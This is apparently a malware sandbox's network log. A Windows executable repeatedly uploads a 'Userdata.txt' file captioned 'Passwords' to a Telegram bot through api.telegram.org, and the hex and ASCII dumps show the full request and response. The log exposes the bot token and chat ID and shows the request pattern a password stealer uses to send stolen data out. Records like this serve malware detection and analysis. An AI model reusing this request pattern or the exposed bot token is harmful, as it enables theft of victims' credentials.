2025-01-10 20:41:19 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 61 32 32 34 35 30 35 33 63 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31a2245053c6Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:19 GMT Content-Type: application/json Content-Length: 539 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:19 UTC	539	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 37 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44645,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541679,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49891	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:21 UTC	272	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31b700ceb690 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:21 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 37 30 30 63 65 62 36 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31b700ceb690Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:21 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:21 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44647,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541681,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49904	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:22 UTC	272	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31cd3062f03f Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:22 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 63 64 33 30 36 32 66 30 33 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31cd3062f03fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:23 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:23 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44649,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541683,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49917	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:24 UTC	272	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31e34ecd4894 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:41:24 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 33 34 65 63 64 34 38 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31e34ecd4894Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:24 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:24 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44651,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541684,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49929	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:26 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31f7fbc37367 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:26 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 37 66 62 63 33 37 33 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31f7fbc37367Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:26 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:26 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44653,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541686,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49942	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:27 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd320c9a0f5891 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:27 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 63 39 61 30 66 35 38 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd320c9a0f5891Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:28 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:28 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 38 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44655,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541688,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49955	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:29 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd322544ac15bb Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:29 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 32 35 34 34 61 63 31 35 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd322544ac15bbContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:30 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:30 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 39 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44657,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541690,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49965	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:31 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3239c22019d9 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:31 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 33 39 63 32 32 30 31 39 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3239c22019d9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:31 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
